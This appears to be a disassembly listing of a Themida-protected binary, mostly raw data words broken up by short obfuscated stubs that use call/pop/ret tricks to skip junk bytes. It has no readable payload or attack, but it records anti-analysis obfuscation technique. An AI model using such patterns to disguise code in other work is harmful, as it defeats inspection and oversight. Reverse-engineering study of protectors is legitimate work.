		dd 8195FF06h, 6A060B12h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 5695C353h, 1FE5BD8Bh
		dd 665F060Bh, 0FF1D2FBBh, 0EA81DB5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 90376B74h
		dd 0FF4ABBB8h, 0B0B8D95h, 0F1BD8306h, 2060B17h,	5A840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 8E9DF0C3h, 5E50E546h, 60BF766Eh, 8B61B032h
		dd 0C5858BF9h, 8B060B2Eh, 0B27BD9Dh, 0C606h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 60C35141h, 0DA8BCC6Dh
		dd 6B985C7h, 60Bh, 0BD8B0000h, 60B0355h, 0FFF0D8E9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0CE5DD816h, 81A0BB9Eh, 5D5E06E3h, 6AC18B39h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 3592C352h, 6850Fh, 9D8B0000h, 60B1FF5h, 14E8h, 0BB81C100h
		dd 0AACED18Dh, 89E0E78Fh, 7A1F3427h, 0A8839088h, 6860F0Eh
		dd 8B000000h, 0B02D59Dh, 858D5B06h, 60B28A9h, 2B799D8Bh
		dd 8950060Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0AF07C5C3h, 0B278920Eh, 6A006A05h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 8921C356h, 0B71E1056h, 1F498589h,	6A060Bh
		dd 183D9D09h, 858D060Bh, 60FE18Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 69C35343h, 9B79F2CCh, 3892CE09h
		dd 6A05C083h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 9BD9C356h, 0AD790CA9h,	72D4D6A4h
		dd 16899D89h, 5050060Bh, 0CE952h, 2D110000h, 0A5FB6A5Ah
		dd 0F129392Bh, 310FD0E6h, 28B0Fh, 61600000h, 489585Ah
		dd 0F98D0124h, 8B060B32h, 6A006AFBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DE8EC356h
		dd 0FB623912h, 6712B7Dh, 6AFA8Bh, 9DE38166h, 2195FFAAh
		dd 6A060B2Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 6391C356h, 4CD21D2Fh, 6CA23863h
		dd 6141BB66h, 0A7B08D8Dh, 8D29060Eh, 60B2A05h, 12E9h, 543B3900h
		dd 0A079E9F7h, 0D1423883h, 65F51FB5h, 0FFD67D9Ch, 6E9D1h
		dd 37960000h, 0E29311D5h, 0B19BD83h, 0F01060Bh,	5685h
		dd 6A76B300h, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 3191E110h, 0FCFC5AA4h, 89DF8B50h
		dd 0D7802404h, 1595FF02h, 6A060B0Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2E88C356h
		dd 0E9A956E0h, 0E03h, 0E8h, 0ED815D00h,	60FE199h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 5DC35343h, 7E9FD34h
		dd 7D000000h, 5CBF144Ch, 6A3234h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F7DFDC3h, 687h, 358D8900h
		dd 8D060B04h, 0E929385h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0DDB787FFh, 0D98B6656h
		dd 0AD85015Bh, 50060B16h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0C2FAC351h
		dd 2319B0D9h, 8BBEA01Eh, 0B31DD9Dh, 518D8906h, 64060B16h
		dd 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0F64A50C3h, 0BE71531Dh, 816653A0h
		dd 5FAEA8F3h, 5E9h, 0B3F3700h, 8964BF3Fh, 25h, 0EB816600h
		dd 85FF1F47h, 60B066Dh,	6840Fh,	9D8B0000h, 60B31A5h, 0DE9h
		dd 6D8AD000h, 25C5615Eh, 0C97144C3h, 0FF6AA7FEh, 629BD8Bh
		dd 0B5FF060Bh, 60B21D9h, 0FF3FDB80h, 0B241195h,	124E906h
		dd 8A0F0000h, 5, 3A3608BFh, 8900B037h, 0B0F918Dh, 6070E606h
		dd 328D8D89h, 0E461060Bh, 0C1BD8971h, 3C060B29h, 0F7830F61h
		dd 0BB000000h, 367D120Ch, 0FC8B60Fh, 382h, 0FAB70F00h
		dd 0C63BCF81h, 6BA2299h, 8B000000h, 2DBD8BD8h, 8B060B2Ah
		dd 0E8C1F5C1h, 719D8904h, 66060B02h, 8D01E2F7h
		dd 60B1691h, 880FC82Bh,	6, 681BD8Bh, 0EF81060Bh, 14A5BB47h
		dd 0BD8BD18Bh, 60B2B61h, 9DE9h,	0F8BF0F00h, 800Fh, 858B0000h
		dd 5F4C4C44h, 3A6761BFh, 7C0836Bh, 15B19589h, 0C083060Bh
		dd 0FAB70F00h, 830FD03Bh, 20h, 8E8h, 0A4BB9200h, 55C60194h
		dd 9D035349h, 60B1FC1h,	57E95F5Bh, 0BB000000h, 1B78E20h
		dd 0FFFF8D8Bh, 0BB66FFFFh, 0E183478Dh, 3F840F01h, 60000000h
		dd 9EDA8166h, 0C9B50941h, 61060B1Fh, 0FFFFA583h, 0E9FEFFFFh
		dd 12h,	0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 0BB664A7Ah
		dd 95892054h, 5F4C4C44h, 79D066BFh, 0E97Fh, 0B58D0000h
		dd 60F5F5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0CBC35141h, 8CB28925h, 2EA72CEAh, 19D8BE5h, 60060B33h
		dd 2E618D8Bh, 6A61060Bh, 0D4E38100h, 0FF4CC1CCh, 0B32DD95h
		dd 0FE8B6606h, 0FD8B9h,	13E900h, 0F13C0000h, 0C5DB623h
		dd 5A0DA5CDh, 87D206CAh, 44058050h, 0DAB8BF43h,	0E18324B3h
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 11E907EFh, 0DB000000h, 0E6A80BFAh, 0C85DDAE9h
		dd 0D6FE16C4h, 14CAC07Eh, 458D09FCh, 8B060B32h,	0B0E89BDh
		dd 0B806h, 9D890000h, 60B08D5h,	870FD22Bh, 6, 2939BD8Bh
		dd 0BD0B060Bh, 60B21C1h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 2A999D33h, 880D060Bh, 60000000h, 0BE81CB5h, 0FE000000h
		dd 1F11A9F6h, 0F18D271h, 9D89F6B4h, 60B0F09h, 958B6158h
		dd 60B174Dh, 4870Fh, 0BF660000h, 8D8BB585h, 60B0119h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A0C35040h, 62F0ABB8h
		dd 0BD89BA8Ch, 60B0965h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0E256BBC3h, 2425BD8Bh, 0FF8060Bh
		dd 687h, 959D0100h, 83060B12h, 0B29BDBDh, 840F0006h, 82h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C9C35141h
		dd 1AC5BD8Bh, 0B8060Bh,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D737C352h
		dd 0F217F3Eh, 8D8DDABFh, 60B4DD7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0F4C35242h,	77474EA5h, 6860FB5h
		dd 8B000000h, 0B26F99Dh, 80E1FF06h, 0BD832EE3h,	60B1009h
		dd 52840F00h, 0E8000004h, 0Fh, 25E51D28h, 982FF8A3h, 0C07830F4h
		dd 0FD00504h, 68Bh, 0D5958900h,	5F060B2Eh, 1009BD83h, 0F01060Bh
		dd 43F84h, 81858900h, 83060B0Ch, 0B1009BDh, 860F0306h
		dd 3F6h, 6A60F9h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 180424h, 56460000h, 93F24EC3h, 0B509C5D5h, 60B016Dh
		dd 29D98C66h, 0B0295BDh, 4E18006h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B0C35141h,	53AC1D99h, 3D6FB4F6h
		dd 0FC90A9Eh, 14384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0B70FFC53h, 7D858BD9h
		dd 6A060B31h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 8C57C352h, 890FB199h, 6, 0E459D8Bh
		dd 0BB66060Bh, 8533F09Ch, 60B06EDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0DBC35343h,	90AA4C6Bh, 9050D98Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 14C35343h
		dd 1B6608E9h, 0B70F006Ah, 0B79668F8h, 0B760C80Fh, 4816125h
		dd 0F4C6924h, 55006A38h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 64756FDCh, 0BF87BF47h, 9D293819h
		dd 60B3331h, 3D195FFh, 6A060Bh,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 727EF8C3h, 858943B3h
		dd 60EA81Dh, 8800Fh, 8F0F0000h,	2, 2EE96160h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0B6D9C351h, 803861FBh, 0D98B665Dh, 0A815858Bh
		dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 3AD5EC3h,	1A810FC6h, 60000000h, 0DE9h, 41BCD500h
		dd 0E76F3EC7h, 0B8372300h, 958B3878h, 60B0841h,	0D8B70F61h
		dd 1800C7h, 8D890000h, 60B28EDh, 0A819B58Bh, 0E381060Eh
		dd 6404B2CBh, 6E1858Bh,	840F060Bh, 6, 2711BD89h, 0BF66060Bh
		dd 6897F3Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	43C35747h, 0E2EDAF7Ch, 858B5EB6h, 60B317Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D4C35646h, 43BFE176h
		dd 9D2397B1h, 60B20C9h,	0E19D29h, 4689060Bh, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0DD83733Bh, 0C43DAD88h, 96F98BF5h, 0D40983BFh, 5157507Bh
		dd 310F5250h, 5B5B585Ah, 0CE996h, 0E52E0000h, 17644588h
		dd 6B3423CFh, 0B5FF7977h, 60EA815h, 0FAE3D781h,	8B66312Bh
		dd 4E8F9h, 3FF0000h, 0BE8001Fh,	86000000h, 9B54FFB4h, 6621085Ah
		dd 66517952h, 5B5BDF8Bh, 8B94B350h, 0E8042444h,	0Dh, 0A253B878h
		dd 7C883645h, 22523922h, 0F98B66BFh, 89008B5Fh,	60042444h
		dd 6890Fh, 52500000h, 585A310Fh, 5861C68Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4FC35040h, 3D731DD6h
		dd 29CF1DFAh, 2E65BD89h, 0BD89060Bh, 60B2A05h, 0A81D858Dh
		dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8BD983C3h, 0B31D5BDh, 8B665006h, 240489F9h
		dd 0FFD98B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 16058BCh, 4582BF1Ah
		dd 6A6156h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0C7090BC3h, 0B100985h, 306h, 0CFC78100h
		dd 833E179Bh, 0EA81DBDh, 840F0006h, 0Eh, 0E9DFB70Fh, 21h
		dd 1045BD89h, 3050060Bh, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0E9BB9814h, 6A62590Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 7F9DC353h, 0E573BB66h, 1009BD83h,	0F03060Bh
		dd 44F85h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 28048559h, 0B651AA7h, 6820F51h, 89000000h
		dd 0B211DBDh, 0BD835B06h, 60EA81Dh, 11840F00h, 6A000004h
		dd 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C427C357h
		dd 41A37C97h, 207DB589h, 0B5FF060Bh, 60EA81Dh, 1F8B70Fh
		dd 0B2A3195h, 3D95FF06h, 0E9060B08h, 11h, 0CD1320CBh, 5848DA32h
		dd 0C4D8B71Ch, 560CB026h, 11B58B3Dh, 6A060EA8h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0DBF3C353h, 0B00618B3h, 0D980D4ACh, 106C7h, 6A0001h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 519650C3h, 34BB505Fh, 96725F86h, 0A81DB5FFh,	11E9060Eh
		dd 0D3000000h, 46D35D07h, 7C801190h, 8BD577Ah, 3DCE3AFAh
		dd 64195FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 879F20C3h, 0F5A1817h, 83h, 11B58B00h
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 273FC355h, 0EDCAABDAh,	0BD31CB4Fh
		dd 60B12E1h, 121D858Bh,	12E8060Bh, 2A000000h, 0D3FD29DDh
		dd 9EC092E6h, 9A4FB6B5h, 7B68B72Ch, 5F9BB77Dh, 0C48689h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0CCD363C3h, 52E7805Ch, 174D958Bh,	6A060Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 452F7BC3h, 237F3031h, 4C283F5h, 81DFB70Fh, 0E6A099CBh
		dd 20508929h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0AEC35040h, 858D0523h, 60EBAEEh, 0B88689h, 5F520000h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 11682DC3h, 89EC5948h, 0B28C99Dh, 1DB5FF06h
		dd 8B060EA8h, 0B27359Dh, 1595FF06h, 6A060B0Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0E58CC357h, 698F4CBEh, 9D8BBA17h, 60B14E5h, 14840F96h
		dd 0E9000000h, 0Fh, 0B4FD50DAh,	8739316Ch, 0A9290181h
		dd 508F9992h, 0CE9h, 9E491000h,	0A80EE55Ch, 0EFA7E3D3h
		dd 9D8B9687h, 60B1B79h,	0A81DB5FFh, 6A060Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 8F4481C3h
		dd 0C51EAE51h, 9D03306Ch, 60B0405h, 0F595FFh, 6A060Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD2936C3h, 60B0F59h, 2191BD83h, 0F00060Bh, 3784h, 6E800h
		dd 0EF10000h, 0D37EBBFCh, 14860Fh, 0FE90000h, 50000000h
		dd 9BC1493Dh, 24728E31h, 2ABD19B2h, 965F324Dh, 50D88B66h
		dd 0BC68F2BFh, 95019612h, 60B19B9h, 0A81DB5FFh,	6A060Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0B2B821C3h, 1521BD8Bh, 95FF060Bh, 60B1281h, 8E8h, 34F8C200h
		dd 99136C6Eh, 5FAFB72Eh, 0A81DB5FFh, 6A060Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC0C26C3h
		dd 212DBD23h, 95FF060Bh, 60B0B8Dh, 60FA8B66h, 0BEC2B70Fh
		dd 1795698Ch, 0F1BD8361h, 2060B17h, 77840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0E1BA11C3h, 69F9119Bh, 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DF2FF5C3h
		dd 10595475h, 0C6DBh, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 1Bh, 0DEC35141h, 2C5C17EBh, 89E85691h, 0B2F5195h
		dd 0B985C706h, 60B06h, 0BB000000h, 2EA175C1h, 0FFF375E9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 6850F20h, 89000000h, 0B18999Dh, 6AC18B06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 15C7C355h, 8D8DB337h, 0B28A985h, 719D8B06h
		dd 50060B20h, 0EE8h, 0BFFD9D00h, 8AEC0D4Fh, 0C500B961h
		dd 5F26E09Eh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 2949C355h, 6A07A1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EDC35040h
		dd 0C3E5CB4Fh, 6A0884h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 71C35141h, 0FFA8BFCh,	681h, 0D99D8B00h
		dd 8D060B2Eh, 0FF1D185h, 0EFD38006h, 905C083h, 0B022985h
		dd 8B669006h, 0FB8B50FAh, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 551BC3A2h
		dd 0BD8BBECCh, 60B1ECDh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 82CE79C3h, 86DFAAFEh
		dd 89958903h, 6A060B12h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 47C031F5h, 0FC93AB49h
		dd 13E9h, 0CDEA000h, 7D5E9104h,	0B090FF10h, 0B237CD36h
		dd 7A7F319Ah, 2F2195FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0F3BC1FC3h, 0B368BF00h
		dd 8D8D5B52h, 60EA7B0h,	0FFFFB70Fh, 19BF66D1h, 19BD8399h
		dd 1060B0Bh, 0B7850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 4C171BC3h, 0DF8B66B6h
		dd 18E59589h, 26A060Bh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0D0C35040h, 163F6C3Ah, 2EB997D7h, 15D99D8Bh
		dd 0EF81060Bh, 26A0D368h, 0C8BB6690h, 5250503Eh, 0DE8h
		dd 89B9C800h, 1DE0BBDEh, 62F880ADh, 61601F04h, 60310F5Fh
		dd 21C2D0BAh, 4B96636h,	585A6115h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 5804B534h
		dd 334AA798h, 0FF18D89h, 95FF060Bh, 60B0F15h, 0CB7E9FCh
		dd 0E80000h, 5D000000h,	0F1DBED81h, 6A060Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FBBF09C3h
		dd 5679D7F8h, 9D8B6040h, 60B23F5h, 5498BF66h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1CC35545h, 0C19221FCh
		dd 56540C0Eh, 93858D35h, 6A060E92h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0DD9BC355h
		dd 8C7BA9D0h, 0F82A467Dh, 0BF7FCB80h, 6519ABF1h, 50D98B90h
		dd 1A8B0Fh, 12E80000h, 0D9000000h, 0AF6C8A19h, 5A42239Dh
		dd 0C6EFC049h, 0FEAD1B3Bh, 5B6160A3h, 8E990h, 49AC0000h
		dd 0E2FB7992h, 0FF6460C4h, 35h,	0EEB96000h, 0F65B91Dh
		dd 381h, 0F78B6600h, 25896461h,	0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+60B1339h]
		inc	dword ptr [ebp+60B066Dh]
		push	0
		push	eax
		call	sub_58B373
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B373	proc near		; CODE XREF: Themida_:0058B36Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_58B373	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ecx-6Ah], 0C85B2117h


loc_58B38A:				; CODE XREF: Themida_:0058BF1Ej
		push	0FFFFFFFFh
		push	dword ptr [ebp+60B1F8Dh]
		push	0
		push	esi
		call	sub_58B39D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B39D	proc near		; CODE XREF: Themida_:0058B395p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58B39D	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	[ebp+60B0CA1h],	ecx
		call	dword ptr [ebp+60B2411h]
		jmp	loc_58B4DA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E600B0FBh, 0A03EBB70h, 71E42450h, 0FE9h, 9C412300h
		dd 0B32535B9h, 7C74E5A2h, 7A1A3AEEh, 830F613Ch,	0F2h, 2AC9BD89h
		dd 0B60F060Bh, 0D78166C8h, 6BA4768h, 0E8000000h, 8, 0A0043D6Dh
		dd 0A571E824h, 721BF66h, 0FC18B5Bh, 380h, 0FFB70F00h, 8B04E8C1h
		dd 0B33819Dh, 0E2F76606h, 840Fh, 0C82B0000h, 12219D09h
		dd 0D18B060Bh, 0B658589h, 9BE9060Bh, 66000000h,	0D6D8F781h
		dd 2EC1BD8Bh, 858B060Bh, 47554C50h, 0CFDD81BFh,	7C08307h
		dd 0BF0F6051h, 0D8529CBh, 61060B0Ch, 0C0835Fh, 3BDE8B66h
		dd 16830FD0h, 0F000000h, 681h, 0BD9D8900h, 0E9060B27h
		dd 56h,	0D2C38166h, 0FF8D8B23h,	60FFFFFFh, 371DF3BAh, 61FB8B61h
		dd 0F01E183h, 3984h, 259D8B00h,	83060B2Eh, 0FFFFFFA5h
		dd 8B0FFEFFh, 15h, 0F870Fh, 0AE90000h, 0A7000000h, 641D2181h
		dd 0DFCAAD6Fh, 50958966h, 2947554Ch, 0B21BD85h,	0E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B4DA:				; CODE XREF: Themida_:0058B3BAj
		lea	esi, [ebp+60F6F34h]
		mov	edi, eax
		push	0
		push	0
		push	edx
		call	sub_58B4EF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B4EF	proc near		; CODE XREF: Themida_:0058B4E7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58B4EF	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 723295A1h, 5D9082A0h, 89F48A60h, 0B06E995h, 0DE8B6106h
		dd 32DD95FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 781947C3h, 0BB3D3AE3h, 332D9D89h
		dd 0F1B9060Bh, 6A00000Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 1A7BC356h, 0E918529h
		dd 0E183060Bh, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 290ECF4Ch, 0B2EE185h
		dd 9D0BFC06h, 60B103Dh,	0D22BC02Bh, 0B42006BFh,	0C233AD64h
		dd 0D003E8D1h, 7504E983h, 0E38166F4h, 0FA8BF8DAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E0C35343h, 78EB894Ch
		dd 4D4D8775h, 1A199D89h, 880D060Bh, 3000000h, 0B2E659Dh
		dd 4D958B06h, 6A060B17h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 3ACAC351h, 8B00BBBEh
		dd 0B04E99Dh, 198D8B06h, 0BB060B01h, 3F44CDE3h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 8D895818h,	60B03F5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 47C35545h
		dd 9D8BD4F1h, 60B01F1h,	29BDBD83h, 0F00060Bh, 7684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 18EFF2B2h, 4D765882h, 12E9h,	0C6174500h, 0D99B2993h
		dd 0ED8C8BBFh, 3E4A2831h, 0B82E3F74h, 0
; ---------------------------------------------------------------------------
		xor	edi, [ebp+60B2491h]
		lea	ecx, [ebp+60B4DD7h]
		push	0
		push	edi
		call	sub_58B6BF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B6BF	proc near		; CODE XREF: Themida_:0058B6B7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_58B6BF	endp

; ---------------------------------------------------------------------------
		db 52h
		dd 632CE645h, 2CAD3158h, 8CBFE1FFh, 83605782h, 0B1009BDh
		dd 840F0006h, 3B1h, 0DF98D89h, 0BD83060Bh, 60B1009h, 0B9840F01h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 4A6CC357h, 0BD83584Ah,	60B1009h
		dd 57860F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 9CDAC357h, 559D89E8h
		dd 60060B17h, 0EE06B4BFh, 0D98C6638h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 43C35646h, 0DF36B25Bh, 29064432h
		dd 0B04C18Dh, 4E18006h,	60CCBB66h, 0BE9h, 14B8E300h, 9DEE097Bh
		dd 0B6C03AECh, 840FC90Ah, 129h,	1265BD2Bh, 858B060Bh, 60B317Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 45C35343h
		dd 8C1B2CBEh, 0B690DB81h, 853332EEh, 60B06EDh, 33C19D8Bh
		dd 6050060Bh, 0D38B6660h, 0C4F6BA66h, 0D38B6661h, 24048961h
		dd 13FD9531h, 6A060Bh, 13E8h, 0BE761B00h, 8DB4ADFh, 8909DC58h
		dd 0E468BA8Eh, 0BA26DEFAh, 80F38166h, 4E85B00h,	0FF000000h
		dd 0E9001F03h, 0Dh, 622B7811h, 9D46F645h, 0DA8FE7F4h, 60605003h
		dd 310F5250h, 850F585Ah, 0
		dd 448B6161h, 52500424h, 0BF56310Fh, 68225513h,	8B585A5Fh
		dd 0C4B0BF00h, 4489528Bh, 11E80424h, 34000000h,	91E77692h
		dd 693A27DFh, 0DFC42FD4h, 7236EFB0h, 9E8h, 3B319E00h, 2537662Ch
		dd 0BB660C3Dh, 5F5BED17h, 0FFCB8058h, 3D195FFh,	0BF66060Bh
		dd 85899D65h, 60EA81Dh,	2BEB8166h, 185E90Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0D8237C3h, 4F03D01h,	15858BB5h, 66060EA8h, 0C7D88Bh
		dd 18h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 53C35040h, 81BD8BA3h, 8B060B24h, 0EA819B5h, 5DBD8B06h
		dd 8B060B28h, 0B06E185h, 19D8B06h, 89060B22h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0CD99C0C3h, 42A979D0h, 0BB59D29h, 858B060Bh,	60B317Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D4C35646h
		dd 0C60F3AC5h, 0FA8B66DBh, 6A044689h, 3E85600h,	20000000h
